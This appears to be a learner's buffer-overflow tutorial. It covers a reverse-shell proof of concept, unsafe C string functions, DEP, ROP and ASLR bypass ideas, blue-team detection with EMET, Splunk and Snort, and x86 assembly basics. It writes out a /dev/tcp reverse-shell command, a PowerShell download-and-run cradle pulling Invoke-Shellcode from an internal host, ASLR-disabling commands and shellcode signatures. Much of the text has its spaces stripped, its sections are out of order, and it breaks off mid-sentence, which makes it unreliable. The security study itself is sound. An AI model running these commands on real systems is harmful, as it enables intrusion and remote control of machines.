TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

